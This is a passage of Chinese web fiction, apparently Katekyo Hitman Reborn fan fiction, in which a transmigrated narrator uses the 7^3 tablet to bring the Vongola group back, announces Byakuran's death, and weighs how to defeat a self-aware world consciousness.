七色的火焰光在我的引导下,逐渐蔓延出了自己的嵌位,我的白绷带帮它们制定好了“通道”,使之朝着三角的另外两端中、相同的属性处蔓延。 “太乱来了!我都还什么都没有准备——啊,胃痛,痛痛痛!”入江正一来不及倒水,只能又硬吞了两颗胃药。别看他有一紧张就胃痛的毛病,但能卧底在白花花身边,高压下的应变能力绝对是超一流的水准。被我猝不及防的行动一催,他没有任何多余动作,马上行动起来,启动了白色的装置,看着平面上持续飙升的火焰指数,不断修正白色装置对应的参数。 行动超迅速,嘴上却仍然抱怨着,“简直太乱来了!” 我完全没有给他们什么进一步内耗的机会,开玩笑,连热血漫都不莽了的话,那还像话吗! “我来准备接应位置!”强尼二迅速接手了距离自己最近的调试装置,准备着迎接主角团的落点位置。 斯帕纳叹了口气,额前的小卷毛都干枯了一般,“我来稳定通道。”要把人接回来,不仅要定位好“过去”和“现在”两个时间点,还要确保两个时间点之间的通道独立于常规时间轴,以防止上次被扰乱传送的事情再次发生。 在两个轴点都是动态变化的情况下,通道自然也需要实时调试。 我专心在眼前的7^3石板上,白绷带缠绕在凹槽中打底,模拟着彩虹之子奶嘴和彭格列指环的形状,接着再将不同属性的火焰引入其中。 这样的话,就能在极短的几秒内,营造出完整石板的假象,打通完整的时间轴。 正好,这个伪·完整石板的数秒假象,也可以让我提前观测一下,八兆亿卷王祂如此急躁想要填满石板的原因——也即,祂想要达成的结果。 但能够持续的时间只有几秒钟——确切地来说不会超过七秒。“七”真是一个神奇的数字,鉴于世界意识的成长性,这种bug一旦使用过一次,很快就会被记录下来。 无法使用第二次,没有第二次机会。 世界意识遵循着创造了意识的世界的规则,即使是八兆亿卷王,也无法超越这个桎梏。否则,祂也不必如此大费周章地攻击穿越司,将我引来。 规则限制着所有世界之内的有形与无形,如果按照正常的剧情发展,任何事都不会超过已经成型的漫画剧情。但,已经在八兆亿个世界里卷出来的特殊意识,显然不希望世界按照原本的规则既定地行走下去。我早就已经意识到了,八兆亿的平行时空轴实在是太长了,祂产生了可以思考、可以自我保护的意识,有了从无到有的第一步,祂就完全脱离了正常的世界意识的范畴。 虽然漫画将纲吉为首的主角团描述成了八兆亿的奇迹,可是在我看来,祂才是真正从八兆亿个世界中诞生出来的、货真价实的“奇迹”。 奇迹在诞生之后,便马上开始为自己的独立寻找出路。 想要找到新的“路”,首先就要确保有新的“路”出现——自然,祂要做第一件是,就是破坏原本的世界路线。只有出现“变化”,祂才能找到属于自己的机会。只不过,世界内部的人不具有超越世界的可能,哪怕是白花花的无限穿越,也只在八兆亿个世界之内,所以祂才无比需要我这个“世界之外”的存在——明明被破坏的是我的穿越司,但承担“破坏者”身份的竟然还是我自己? 我比较在意的是,祂那就是怎么发现“我”的存在的? 难道真的是我穿越太多了吗? 我相信,为了确保我这个“破坏者”的破坏行动能够顺利地进行下去,这七秒钟的唯一一次机会,八兆亿卷王一定会好好的辅助我。 我超自信的! “准备好了吗,石板马上就要被激活了哦。”我看着另外两个属于彩虹之子和彭格列的两角中,已经被火焰填满的凹槽——石板距离启动只有一步之遥。 入江正一快速对照白色装置攀升的参数,迅速和斯帕纳、强尼二一起将几个重要的节点调试妥当。 “装置确认,时间轴点移动中,已锁定。”入江正一报出了自己负责的部分。 紧接着就是斯帕纳,“通道稳定,人员确认,随时可以传送。” 不同的人数需要的通道大小不同,斯帕纳手边的屏幕上正展示着包括彭格列十代目家族、编外成员们以及尤尼酱所有人的照片和数据。 “落点确认。”强尼二的手一直在动,他要保证此时我们所经历的“现在”是时间轴传送的“终点”。 我的手指被玛雷指环烫得有些发红,想要用一个“大空”支撑起三个“大空”的火焰量,果然还是有些勉强,得加快速度了,我扬声道:“准备好就要要开始了哦——三,二,一!” 我们四个一起行动。 7^3石板上的花纹顿时被混杂在一起的彩虹火焰填满,三套二十一个“世界基石”的嵌口被全部打通。和石板直接接触、并且负责模拟了玛雷指环外,十四个基石部分的我在此刻几乎成为了石板的一部分。 不,这种感觉更像是——“我”被石板记录下来了。 刺眼的白光顿时侵占了我的全部视线——我一时无法判断眼前看到的一切究竟是来自于石板的力量还是白色装置启动时的状态。 但可以肯定一点,我的眼睛就快要瞎了! 刺眼,太刺眼,不如说完全就是光污染! 我可怜的、命途多舛的眼睛,近视散光也就罢了,在经历过生掏眼球、戴不合适的美瞳、临期美瞳、甚至过期美瞳之后,竟然还要遭受光污染的迫害。 真是辛苦你了,我的眼睛君。 泪目。 我擦了擦不存在的眼泪,恍然意识到自己好像逐渐适应了这种刺眼,眼前的纯白柔和了下来。从直接闪瞎人的状态,缓和到了仅仅容易让人雪盲的地步。 话说——七秒钟的时间这么漫长吗? 不,这绝对不是什么现实世界。 梦境世界什么的,我也不是没有经历过,我很有经验,能轻易就判断出来。 我收回手,四周只有无尽的纯白,没有任何可以作为标志的东西。我尝试向前走了几步,但这样的环境里,完全没有移动的实感。 “7^3石板的世界吗?” 这么简单的答案,几乎不用多少思考。 在我这句话说出口的瞬间,我的脚下瞬间就多出了横纵两条线,紧接着,以我的中心,横纵蔓延出了更多密集的线条。 不是平面线条,而是立体的,我蹲下身来,甚至可以直接碰得到它。 “你。” 一个熟悉又陌生的声音突然从我的身后传来。声音不大,甚至可以说是很小,但这个空间实在是太安静了,安静到连一根针掉在地上的声音都听得到。 我回头,看到了一个……影子。 准确地来说,我是看到了自己的影子。 虽然没有五官、细节、衣服,只是一个草图的状态,但我敢确定,这就是我的轮廓——要知道,我已经有过太多裸的经验,知道自己的轮廓是什么样的。 有了这一点认知,我随即便意识到刚才那个既陌生又熟悉的声音来源于谁了。 那是我的声音。 有点像是听自己录音时的感觉,通过空气传播的声音和通过骨头直接传播到神经里的声音有着微妙的区别。 “影子成精了?”我抬手想要摸一摸这个神奇的草图,但仿佛只有一步之遥的距离,在伸手的时候才发现我和影子完全不在一个图层。 草图影就像是个鬼魂幽灵一样,站在另外一个横竖线交点上。 不对,等等! 啊——?! 我瞪大了眼睛,想起了刚才那一瞬间被记录下来的感觉。 这就是被石板记录下来的我的形象吗?! 石板拥有自己的形态,完全没有必要重新建模。真正无形的、和7^3石板连接在一起的、如鬼魂一般的纯意识,唯有八兆亿卷王。 连接了石板的实体还不够…… 祂,要成为“我”吗? 可恶,我要告发卷王抄我的建模,霍乱游戏环境,罪不容诛! 竟然想要成为独一无二的我。 祂突然朝我走了一步,我感觉一阵凉风穿过衣物的遮蔽,紧紧贴着我的皮肤上滑过我身体,抚过我的眉眼。紧接着,影子开始翻涌,从平面转为立体。 简直世界名画,草图全自动AI细化,一个有自我管理意识的草图知道要自己细化自己。 但身为“蓝本”的我完全开心不起来。 我面无表情,一把扯住了草图卷王脚下的线条。 碰不到你,我还碰不到其他东西吗? 我毫不犹豫地,一下子抽掉了祂脚下踩着的线条。 马上,他就掉了下去,还发出了一声猝不及防的惊呼,“嘤!” 更不爽了,不要用我的声音发出奇怪的动静啊,喂! 断裂的线条迅速蔓延到了周围,黑白双色的石板世界开始震动,七色的光突然吞噬了穹顶开始坠落。远处,一堆堆簇拥起来的火焰团,像陨石一样,以迅雷不及掩耳之势,撞到了我身上。 “咚!” 我赶紧自己被狠狠击飞了出去,啊——好重! 这就是世界的重量吗,压得我喘不过气来! 我睁开眼睛,看到的第一个东西就是踩在我脑门上的小黑jio——没想到Reborn的皮鞋如此爱列恩,连鞋底的花纹都是列恩的形状。 不对,现在不是吐槽的时候,这不是Reborn吗?! 我后知后觉,身上这些压得我喘不过气来的不是世界,是纲吉和他的粉丝团。 某种意义上来说,这确实是“世界”啊。 最终还是我承担了所有。 可恶的强尼二,就是你这个浅眉小眼发际线后移的家伙选的落点是吧,给我好好的等着! 我恶狠狠地抬头,正对上纲吉的眼睛——这个除了我以外,被压在最下面的人。 过近的距离,让他有些不好意思地冲我笑了笑,发出了“诶嘿”的声音。 诶嘿个鬼啊,你不觉得被压得要死掉了吗! “我说,你们打算压到什么时候,赶紧给我起来啊!” 不然我就要掀飞所有人了! 第132章 回来了, 就这么简单地回来了。 世界如泰山压顶,被我背负在柔弱的肩膀上。 我把压在身上的“山”全部掀翻了。 正一第一时间便选择关闭了白色装置,忙不迭地把7^3石板也从装置上取了下来。 强尼二感动到流泪, 抱着纲吉的腰一阵痛哭流涕, 诉说着这些日子里的心酸和坎坷——顺便一提,是字面意义上的痛哭流涕,纲吉的衣服算是毁了。 连这种事情都能面不改色地忍下来吗, 不愧是包容一切的大空,连鼻涕也能一并包容……呃,从鼻子里连出一长条,看上去好恶心。 我不由自主地往后退了一步, 靠在了柜子上, 脑袋自然而然地靠近了正坐在柜顶上的Reborn。 他就是在等我靠近。 “怎么样,途中的风景美妙吗?”我歪过头去问。 Reborn勾起他小小的嘴唇,“比你想得还要有趣——原来和自己玩猫捉老鼠的游戏是这种感觉,新奇。” 哦——还和自己有过对决。 确实,毕竟他们穿越异常的表现并不够直观, 他们或许会很快意识到自己没能传送回基地, 但却不可能马上知道自己所遭遇的情况,所以收集情报是必要的步骤。而且, 就算没有来得及知道前因后果, 他们也都不是坐以待毙的人,比起等待救援, 他们会选择自救。 既然身处错误的时间点, 就必然要想办法拨乱反正。 那么, 迟早会和那个时间点的“自己”对上。经过了初代目家族的试炼洗礼, 彭格列家族对时间的理解肯定也更上一层楼, 而且我猜,即使他们不够了解,尤尼酱也会直白地告诉他们,时间的法则是不应该轻易被打破的。 对正常人来说,“远离”是最好的选择,可是——彭格列从来不养正常人。 Reborn跷着小小二郎腿,“想要和这里的时间装置联系上需要彭格列指环的力量,但阿纲他们的指环牵涉了太多时间流动,他们的时间已经足够乱了。尤尼认为,如果用他或是其他家族成员的指环,会带来不好的后果。” 明白了,总要给主角团制造一点“不得不”涉入危险的理由,我懂的。 毕竟,这么多集,总不能让热血主人公当缩头乌龟吧。 Reborn压下帽檐,继续说道:“而且,情报这种东西讲究时效性、也讲究规模,在这方面,我们这些非正常时间线的人,完全没有优势。彭格列的势力遍布世界,白兰的势力也正是飞速发展的时候,被任何一双眼睛发现都是失败。这样的话,游荡在未知的地方反而更加危险,与之相比,反倒是‘未来的自己’这一概念更加熟悉。” 比起陌生的时间线,熟悉的“自己”才是更好的选择吗? 原来如此,在这样的前提下,那个时代的第一杀手先生,自然就变成了很棘手的敌人。杀手的反侦察能力无需多言——要是能战斗的话反倒简单了,想要不被察觉的同时接近……呜哇,简直是地狱难度。 “时间轴还没有出现异常就说明,没有暴露……不愧是你,Reborn先生,”他们面临的处境几乎对等于过去的整个世界,完全不比未来战轻松——不如说,放不开手脚的忌讳反而更麻烦呢,“但,也多亏了你们的选择。和自己的同位体距离不远,两个指环之间的呼应让你们的坐标更加明显。如果两个指环太远的话,和这里的联络就可能会歪到另外一个阿纲的身上,补救起来很麻烦的。真是辛苦了,Reborn先生。” “彼此彼此。” 我和世界第一杀手先生交换了一个心照不宣的眼神。 一抬头,正看到极度烦躁的云雀·讨厌群聚·恭弥正打算离开,我一个三级跳、空中转体720度从天而降,站定在他面前,伸出手掌,“不行不行,这里暂时禁止通行哦!” 云雀眉头一皱,我的速度比他的反应要快——这个认知让他相当不爽。在错误的时间轴点不得不压抑自己的战意,他此刻完全是蠢蠢欲动的状态。 反重力外套下面的武器已经拿在手上了! 在一个群聚的地方,云雀的战斗不需要理由。 “正如纲不吉君所说,你们还不能离开这里,需要确认你们的身份和指环!”入江正一恰到好处的出声,将众人的注意力都吸引了过去,“时间轴太神秘了,我、斯帕纳和强尼二对装置并没有百分百的把握,行动又太突然……”他悄悄地瞄了我一眼,看着我嬉皮笑脸摊着手,无奈地止住了无用的话头,“总之,必须要确认你每个人的身体状况和指环波动,即使是本人,也可能会因为距离、指环之间的呼应、同位体之间的联系等复杂因素,将异常时间的切入点带回这里。” 也就是说,有可能会给异常时间轴点的那个十代目家族打开一条不应该打开的时间穿越点。 穿越有风险、选择需谨慎,我可是深有体会,简直不能更认同。 正因为理解,所以这个房间,是特别的独立空间。 完全是参考石板结构构造的房间——不,我觉得用“空间”来形容更加合适。也多亏这三个技术宅能在那么短的时间里,做出这样的地方来。 果然是术业有专攻,搞科研的就是卷。 这个独立的空间作为一个穿越缓冲带,和我的穿越司有异曲同工之妙。在确认异常消失之前,谁都不能离开这个房间。 云雀肉眼可见的“啧”了一声,相当不爽。 但,他没有动手。虽然眼睛里明晃晃地写着“等出去了之后马上就咬杀你”,但他没有动手。 大成长! 异常时间轴的穿越真是个磨炼人心性的副本。 NICE! 我本来都做好战斗准备了的。 “等等、等等!”纲吉终于注意到了我的动作,瞳孔地震地看着我——抬起来的手,“那……不是白兰的指环吗?!” 终于注意到了吗? 我把手背翻转,大大方方地展示了白花花的大空指环。 橙黄色的宝石在灯光下闪耀地昭示着自己的存在。 “啊——!”狱寺的声音几乎要把天花板都掀开,“你这家伙,为什么会拥有白兰的指环啊!” “咱们就是说,有没有一种可能,这一切都是套中套,白兰只是我的小弟,而我才是玛雷指环真正的主人呢。”我露出一个太宰治式失去高光的标准微笑来,整个人的危险指数蹭蹭上涨。 秘技·散光之眼! 再怎么说也是有过当宰经历的人,可怕的眼神只是洒洒水。 狱寺果然炸毛,一下子窜上来,挡在纲吉面前,“十代目,他很危险,请退到我身后!”他不仅将纲吉挡在了身后,甚至因为速度太快,手臂直接掀翻了他敬爱的十代目。但这时候也顾不上许多了,他警惕地注视着我,“果然有问题,我就知道,正常人可能听不懂我的课,你果然不正常!” ……? 在?为什么人身攻击? 我是什么很蠢的人吗! “哈?!你要不要听听你自己在说什么,你讲的那些东西难道也能算是人话吗?!”我一脚踩在椅子上,“现在就让你知道我的厉害,看着吧,这就是玛雷指环真正的力量!” 竟然敢使用人身攻击,我现在就要用我的白绷带把狱寺的裤子抽掉,让他在敬爱的十代目面前永远抬不起头来! 就在我要动手之时,库洛姆举起了手,发出弱弱的声音,“那个……与其说是白兰的指环,不如说,玛雷指环全部都在这里了吧。” 她指着被入江正一取下来的石板,六枚玛雷指环完整地嵌入其中。 离开了我的掌控,其他14个模拟出来的“基石”已经消失,嵌口重新恢复了空空如也的状态。 但,我隐约能够感觉到,凹槽中留下的火焰的气味。不像是拟态的火焰,反倒像是货真价实的彭格列指环、彩虹之子的奶嘴留下的痕迹。 啧,八兆亿卷王不仅偷走了我的建模,还在刚在的七秒里存档了那种模拟状态吗? 可是,身处规则之中的祂最清楚,同样的手段是不能再使用第二次的。 “诶?诶!诶——?!”纲吉连续发出三声惊呼,大跌眼镜,“真的假的?” “和我犯过的错误不同,这可都是如假包换的玛雷指环。”正一给了他一个肯定的答案,“多亏了这些指环和7^3石板,才能这么顺利地把你们带回来。” 山本本来都已经抽出来的时雨剑收了回去,挠了挠头,“总感觉错过了很重要的剧情呢。” 我一握拳,“没错,你们回来得太晚了,世界已经落入了我的手中!哈哈哈哈哈——!” 纲吉小小声地吐槽,“这是什么中二病现场吗?” 明明自己就是少年漫主角,竟然好意思说我中二。 了平大哥眉头一皱,发现事情有些不对,“之前不是说,世界不是极限地落入了白兰的手中吗?” “真遗憾,他已经死了哦。”我压低声线,营造究极气泡音! 不过,好像有点失败了的样子。 但是没有关系,我终于找到机会把这句话说出来了!他们——主角团,必须要从我的嘴里,在精神集中在我身上的时候,听到这件事。 此话一出,空气骤然一片寂静,就连Reborn的表情都空了一瞬。 可恶,手里竟然没有手机可以记录下Reborn的失态时刻! “彭格列,他说的是真的,白兰死了。”斯帕纳,我的信息确认二号机。 没办法,我和主角团其实没有那么熟啦,对于他们来说,和我相识的时间都可以用小时来做单位进行计算。 突然在我的口中知道这么一个惊天大消息,自然会怀疑。 哪怕是拥有超直感的纲吉,都会惯性地受困于认知和常识。 “被我烧得连渣渣都不剩了哦,非常干净。”我模仿着撒盐的姿势搓了搓手指,“真遗憾,你们错过了剧情的高潮部分,一切都已经结束了嘞,我一个小BOSS都没给你们留,全部——都是我一个人的经验值!” 第133章 检查身体和指环这样的基础工作, 是科研组的打卡任务,并不需要无敌的我的参与——杀鸡焉用牛刀。 令我有些意外的是,唯一一个被检查出异常的竟然是云雀恭弥……的小松鼠。 该说他不愧是传说中的并盛动物园园长吗, 外套里竟然藏着一只巴掌大的小松鼠! 云雀自己也很意外, 他竟然也没有意识到自己的披风里隐藏着一只偷渡小松鼠吗?让我还原一下穿越过程,多半是穿越的信号来得太过突然,就像是背后有一双手突然把不明真相的他们揪入了长达七秒的穿越之中。那个瞬间, 谁都不知道突如其来的穿越是敌是友,所以云雀大概是下意识地把身上的小松鼠丢了出去,爱惜小动物的他不会想要把普通的小松鼠拉入战斗之中。 只是他没想到,松鼠比想象中的还要顽强和灵活, 竟然扒住了他反重力外套的袖口, 藏进了衣服中。 云雀惩罚性地弹了它一个小脑瓜,眼睛里满满都是无奈——好宠! 果然,小动物才是云雀恭弥的真爱吗? 斯帕纳看着异常的数据,“怎么办,要把它送回去吗?” 虽然只是一只小松鼠, 但身上所携带的异常时间却同样存在风险。 “不, 为了一只松鼠打开时空通道太危险了,舍本逐末。”入江正一摇头, 比起松鼠, 当然是时空通道要更加危险。 强尼二有些烦恼,“麻烦了啊, 如果只是个死物的消除掉就好了, 现在让松鼠离开这个房间的话实在是太危……” 说着他有些心虚地看了云雀一眼。 咱就是说, 这时候干掉小松鼠毁尸灭迹是最简单的方法, 强尼二大概也是想到了这一点。但……他完全没有从云雀手里夺命的勇气。 我能够隐约感觉到云雀平静表面下的思想冲撞, 他的大局观告诉他最优解,但让动物园园长对自己的小动物下手什么的,也太残忍了吧,什么杀人诛心的行为。 这个时候,正义的我就要站出来了! “没关系,交给我吧。”正好,我也又有无论如何都想要确认一下的事情,这似乎是一个顺理成章借用彭格列指环的机会。 当然,如果失败了的话,小松鼠就要华丽地去往天国了呢! 我会好好记得给你烧纸的。 认真脸.jpg 我向云雀承诺,“放心,我没有谋杀它的主观意图啦。”但如果出了意外的话……完全不是我的责任。 我伸手,看着云雀谨慎地将松鼠放到我的掌心。 不知是不是我的错觉,我明明没有露出邪恶的表情,但小松鼠似乎非常害怕我,在我的掌心瑟瑟发抖。甚至因为太过害怕,当我把它放到石板上的时候,它反倒松了口气。 我明明是正义的伙伴,为什么会被小松鼠嫌弃? “如果是在跟随云雀君回来的话……”我推了推想松鼠,让它的小jio精准踩到了彭格列云之指环的凹槽上,“云雀君,能稍微借用一下你的指环吗?” 云雀没有说话,定定地看了我两秒,像是要评估什么一样。紧接着,便打算将手上的指环摘下来,我赶紧摆手——不,别给我,我完全不打算把指环拱手让给卷王,太便宜祂了! “不不不,指环就戴在云雀君的手上就好,纲吉君还活着的情况下,我是无法直接使用你指环的。” 纲吉:? 我进一步解释道:“你是指环的适格者,这唯一的位置是谁都无法取代的。将7^3分成三份,在每一份的中心——‘大空’还活着的情况下,这一份力量的格局就非常稳定。至少在石板上,适格者和指环不可分割。当然,如果适格者或是大空有一方死亡的话,这个规则也就不复存在了。” 我有理有据的造谣ing…… 希望他们全部都尽快地认同我所说的话,我需要这个设定,只要有这个设定,八兆亿卷王就算用其他方法获得了彭格列指环,也必然会遭受「适格者」这一身份存在的限制。 为了想办法给卷王使绊子,我真是费尽心力。 这个世界的主角团就像是这个世界的「书」,虽然写在他们的认知里的东西会变成现实,但如果没有足够的逻辑令他们信服,那不仅认知无法建立,还会降低我的信用度。 信用这种东西,一旦出现一丝裂痕都会成为坍塌的征兆。 我对上云雀的眼睛——他是最难搞的几个人之一,小松鼠简直是我为数不多的运气送来的机会。 云雀将他戴着彭格列指环的右手放在了我的掌心——好冷的手,手指关节上有些不易察觉的硬茧。紫色的火焰在他的觉悟中燃起,沿着我和他相连的手掌进入我的身体,用我的身体为介质,传导向另一边触碰着石板的手。 这是,真正的彭格列指环的云之火焰,和我伪造的冒牌货完全不是一个等级。 火焰的炽热穿了过我的身体,纯粹的能量在我体内过滤,我有目的地深入寻觅——火焰深处的、冰冷的锁链。 小松鼠脚下的凹槽沿边泛起紫光,只是微光而非火焰。 我身体过滤出来的纯能量可比火焰还要耀眼,这股隐隐存在的微光就像是有侵蚀性一样,啃食着石板,将凹槽拓得更大。 “怎么可能,7^3石板可是完全物质,无数平行时空中的白兰先生用了那么多办法,都没办法在石板上划出一道划痕,怎么可能会被火焰侵蚀?!”入江正一惊呼出声,完全不敢相信眼前所看到的一切。 但事实上,我并不是在改变石板,只是在恢复石板的真正状态。 玛雷指环有的漂亮宝石,我们彭格列指环当然也有!能够承载火焰色彩的晶石才是指环真正的力量来源,所谓“指环”的形态,事实上也只是一种载体形式,指环可以碎,但晶石的力量在这个世界之中是永恒的。就像彩虹之子的奶嘴,如果最初的适格者需要的话,完全也可以设计成指环。 但天野娘就是有自己的恶趣味。 重点是晶石。 想当年,我也是买过小作坊盗版彭格列指环周边的人。初代在解开彭格列指环枷锁后所展示的彭格列指环的真正形态,是土豪大宝石的指环状态,六边形宝石超绚丽! 有那样的宝石作为“真正的形态”,7^3石板又怎么可能只有枷锁状态下的凹槽呢? 所以没错,我并没有改变或是损坏石板,而是让石板在无枷锁彭格列力量之下展露出真实状态。 在这股力量之下,石板的另一端隐隐出现了一个陌生又熟悉的人影——是换了个假毛的云雀恭弥? 不对,是初代云守阿诺德! 他鬼魂一般的身体散发着和过滤在我体内的枷锁一样的气息,犀利的目光注视着我,像是在评估我的身份,如果有异常随时用眼神杀死我似的。 “原来如此,枷锁就是初代的意识本身吗?”难怪只有初代才能解开枷锁。 紫色的光灼过小松鼠的皮毛,让它发出“啾啾”的声音,惊恐地飞速爬上我的头,飞跃回了云雀的怀里。 噗,烫了它的松鼠jio和它的松鼠毛,耳朵尖尖甚至有点焦了。 我没有把它捉回来,而是打了个响指,“完成!用彭格列指环的时间属性刷新了它身上的‘时间’。它现在已经完全和你的指环联系在一起了哦,云雀君以即使要回到十年前,也必须要带上它才行。” 松开了云雀的手,虽然用的身体暂时过滤掉了枷锁,让石板显现出了真正的形态。但是枷锁本身并不掌握在我手上,短时间内我也不可能强行解开。 而且,也没有解开的必要。 初代云守的幻影很快消失,石板的凹槽也重新回溯到了普通的姿态。但经此一事,彭格列的诸位主役也应该意识到了,彭格列指环上隐藏着他们还未开发出来的力量。 认知明确!目标明确! 我隐晦地传达出了一个信息:如果不解开枷锁的话,即使把指环全部放上去,也不可能达到完整的效果。 我成功地又给石板加上了一层保险,大成功! “谢了。” 是谁在说话? 是云雀恭弥! 有生之年竟然能听到他亲口道谢! 果然,小动物才是他的CP第二佳选择! 要问谁是第一选项?那当然只能是并盛无疑。 “枷锁到底是怎么回事?”入江正一迫不及待地追问,显然对能够改变石板形态的因素非常好奇。 但这一次,回答他问题的人不是我,而是率先开口的尤尼酱,“恐怕彭格列的初代目大人很早就意识到了,纵轴时间的危险性,它比白兰连接平行时空的能力还要危险许多,过去的微小动作就会改变未来,每一个念头都能创造出一个新的平行世界……这样的力量,如果落到不好的人手里,就会变成毁灭世界的可怕武器。” 用彭格列指环毁灭世界,可比用玛雷指环毁灭世界容易得多。 “原来如此,所以初代目才创造出了‘继承式’的复杂步骤,得到彭格列指环和得到彭格列指环的力量,是两个完全不同的概念。”Reborn暗暗赞叹。 如此危险的力量,初代目需要亲自把关。没有足够的觉悟,就不能拥有这样的力量。 “即使如此,他也不可能控制后辈的想法和行动。不加以限制的话,不知道什么时候就会失控。所以,出初代目先生才会‘封印’了彭格列指环原本的力量。”尤尼酱的话迅速帮我补全了设定,毕竟这不是我凭空捏造的概念,而是切实存在的事实,我只是稍微改动一点细节而已——比如将初代家族的枷锁直接拦在了石板和彭格列指环之间。 原本,这股力量并不应该能够限制石板的。 但现在,它可以了。 设定式造谣,九分真一分假,精髓! “但,如果时间线如此危险,那为什么蠢牛还会有十年炮筒这种东西,他已经无数次地改变过去了吧?”狱寺秉持着自己的学术精神,一把将蓝波提了起来。 “哇啊啊啊啊——笨蛋寺不许掐蓝波大人的角!” “那是因为十年炮筒连接的原本并非是本时间线的未来,而是十年之后的平行时空。”入江正一仔细研究过十年炮筒,在这个时代里,再没有第二个人比他更了解这个装置,“能把诸位传送到未来,也是借助了十年后的各位的身体,没有他们‘适格者’的身体的话,是做不到的。” 原来如此,竟然还有这种说法……我还以为十年炮筒之后是单纯的剧情杀道具。 我抬头看着这个巨大的白色装置——竟然是能够解释得通的装置吗? 不知不觉,检查已经进入了尾声,排到了最后一位的尤尼酱。 “啊,尤尼酱的话没有必要检查了哦。”我一边举手,一边打开了门。 说真的,云雀·讨厌群聚·恭弥的忍耐已经到达了巅峰,如果不是有小松鼠安抚,我怀疑这里现在已经是彩虹的战场了。 “‘彩虹时而出现又消失缥缈’——拥有奶嘴力量的彩虹之子不受时间线和空间线的桎梏,可以出现在任何一个交点上。”我解释的话才一出口,就感觉到背后一阵瘆人的视线。 啊……完蛋,忘记Reborn的存在了! 因为觉得他小小一只躺在检查台上任由正一摆弄的样子很有趣,所以完全没有干涉。 “咳——特别是尤尼,大空更加特别。”我强行挽尊。 列恩爬到了Reborn的手掌中,距离变成列恩枪只有一步之遥,他幽幽地开口,“是吗?” 当然是真的! 我重重点头。 强尼二帮正一收起检查用的工具,锃光瓦亮的脑门一反光,突然想到一个问题,“如果是这样,那为什么最一开始不把尤尼小姐当作锚点呢?如果锚点是尤尼小姐的话,不受时间线桎梏的话,不是可以规避掉被那个时间轴点的大家发现的风险了吗?” 我手指点着下巴,“确实是那样,但同时,那也更容易把另外一个尤尼带回这里哦——‘彩虹时而出现又消失缥缈’,将尤尼小姐带到任何一个时间轴点都不会破坏时间线。正因如此,才意味着,如果计划没有按照预计的方向行进,以至于将我们的尤尼小姐意外留到那个时代的话,时间轴也不会有任何察觉、不会留下任何可供我们二次寻找的痕迹。换而言之,会找不回我们的尤尼小姐。” 这样说出来的话……我突然觉得,如此不受任何时间、空间桎梏的彩虹之子的大空尤尼酱,属性好像和我特别像的样子。 第134章 不, 完全是我想多了吧。 我和尤尼酱能有什么地方相像,从上到下、从里到内,性别、能力、世界、次元, 完全没有任何一点重合的部分。 我重新思考了一次——嗯, 完全想不到一点相似之处呢。 不好,萝莉控竟是我自己!? 我赶紧用力摇头,驱散了大脑中的森鸥外之魂——走开, 萝莉控老森头,不要影响我的判断。 我在我的幻想世界里,给了提着lo裙围着爱丽丝旋转跳跃的森鸥外“邦邦”两个人格修正拳。 虽然中间发生了不少意外,但目前总的来说, 结果是向好的。我完美地融入了背景之中, 关于白花花的计划进展也很顺利,让彭格列家族返回的过程也和预料中的一样通畅……而且最重要的是,八兆亿卷王并没有注意到我的问题。 祂不知道我已经知道了他的小九九。 当然,我的表演并不算完美无瑕——但不完美的东西才真实。而且,作为世界意识的集合体, 卷王的认知实质上取决于上人的认知, 尤其是主角团的认知。 即使自我进化、用了相当程度的独立思考能力,但“思考”本身就是建立在“认知”之上的, 祂不可能摆脱“世界基石”7^3三角二十一个人的认知量——啊, 或许不止二十一个人。 不过,虽然说是玛雷、彭格列和彩虹之子三大基石, 可是, 在白花花暂时脱离这个世界、真六吊花对我深信不疑、彩虹之子又尚未复活的情况下, 世界三大基石的认知, 实际上都落在了刚刚返回的主角团身上。 拿捏住他们, 就拿捏住了八兆亿卷王。 但是…… 与之相对的,只要主角团的意识仍在,也就很难真正意义上消灭卷王。 这是不得不做出的取舍。 真烦恼啊,如果不能完全消灭卷王的话,那从外部入侵的阴霾和隐患就会永远笼罩在我心头,事关穿越司的安全,我完全不能用乐子人的形态来对待…… 有什么其他的办法可以永绝后患的吗? ——杀死世界意识。 我脑子里重新冒出了这个念头,这个完全有机会实行的念头, 这是我在此之前从来没有做过的事。 而且,世界意识本来就是世界所有意识的集合体,抹杀世界意识和毁灭世界之间,真的有本质性区别吗? 真让人头痛啊。 问题甚至不止“毁灭世界”这么简单,或者说,“毁灭世界”并不是唯一一个让我纠结的点。 真正让我烦躁的是,即使我真的下定了觉醒,毁灭了世界,也很难保证卷王能够就此消失。这是涉及到平行世界概念的作品,八兆亿个世界啊……谁知道祂有没有将自己藏到其他世界的能力。 毕竟,连我自己都不知道踏过多少个已经毁灭了的世界,甚至还带着真六吊花穿越过一次。 事实证明,即使世界毁灭,“世界”的框架本身也依然存在。 这种抽象的概念很难有机会实际验证,而八兆亿卷王的敏感程度也不允许我做第二次选择。 我揉了揉额角,为什么这个世界不能简单一点呢? 头好痒,难道我终于要长脑子了吗? 不,其实是我五天没有洗头了。 颓废到不想洗头,我这不是完全变成了一个MADAO了吗? 我向后一躺,放任自己陷入柔软的沙发里,失去了所有力气和手段。 果然还是吃太饱了,再加上闲到发霉的现状——虽说密鲁菲奥雷是百足之虫死而不僵,但没有了大BOSS白花花,核心成员受创,这样的大事影响战力不说,对士气本身就是一个极大——甚至是致命的打击。 没有到再起不能的地步,也一下子弱了一大截。 原本地狱难度的副本,这么一搞就,对经历了初代家族洗礼考验的主角团,就变成了入门级难度。别说是我,总感觉连主角团都没有那么多干劲儿了,我的存在也变得非常尴尬。 完全没有什么出场的机会。 不仅如此,手环最近也完全没有回应! 先前明明还能联系上的,难道是传送白花花的时候给我烧坏了? 果然是先前太顺利,这种熟悉的糟糕感又来了。 麻烦了啊,这样的话我完全不知道要怎么做才能回去,难道要按老规矩BE一次? 不,这么和平的现状,未免太强行了。这次也没有明确的COS外化,要是真的噶掉了可怎么好。 我还是很宝贝自己小命的。 这次也完全没有任何被同化的迹象,毕竟是和世界意识为敌,果然和以前的每一次都不一样吧。 嗯?有疑问? 难道是想问我怎么知道没有被同化吗? 那当然是因为我是个小机灵鬼! ……好吧,其实是我想通了,先前晴之火焰对我不起效的事——不起效,是因为不兼容。就像我想要在这个世界里使用「书」的力量,就必须要「理解」火焰,拟态出和这个世界兼容的力量。就是因为我现在和世界的联系太弱了,所以和这个世界产生了“壁”。 如果说,在外部会起效的火焰——比如岚、雨还能在直观视觉上对我起效,像那晴这种需要深入身体内部、从内部改变身体,比如刺激细胞复制、重生的火焰就完全和我分化成了两个图层。 